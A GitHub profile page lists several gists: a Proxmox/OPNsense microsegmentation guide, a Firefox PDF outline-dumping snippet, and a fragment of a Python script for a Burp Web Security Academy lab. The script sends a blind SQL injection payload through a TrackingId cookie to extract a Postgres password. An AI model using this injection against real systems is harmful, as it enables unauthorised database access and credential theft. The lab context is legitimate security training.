Skip to content

Instantly share code, notes, and snippets.

View iamsilk's full-sized avatar

Stephen White iamsilk

View GitHub Profile

Proxmox Complete Microsegmentation with OPNsense

Also posted on a blog.

Goal

The goal state for this setup is:

  • OPNsense acts as a core firewall and regulates access between all VMs.
  • All VMs share the same bridge interface to reduce setup needed for each VM.
@iamsilk
iamsilk / find_password.py
Created May 18, 2023 01:00
Burp Web Security Academy: Postgres Blind Injection Password Finder
import requests
def test_query(endpoint, boolean_query):
injection_format="' OR ({}) -- -"
injection = injection_format.format(boolean_query)
r = requests.get(endpoint, cookies={
'TrackingId': injection
})
@iamsilk
iamsilk / dump_firefox_pdf_section.js
Created February 2, 2023 18:55
For use in Firefox's PDF viewer. Dumps subsection titles and page numbers for a given PDF section. Used simply in the browser console.
chapter = document.getElementById("heretakeme"); // choose element somehow
chapterText = chapter.querySelector('a').innerText;
chapterLink = chapter.querySelector('a').href;
chapterPage = parseInt(decodeURI(chapterLink).split("#[")[1]) + 1;
chapterDump = "";
chapterDump += "Introduction" + "\t" + chapterPage + "\n";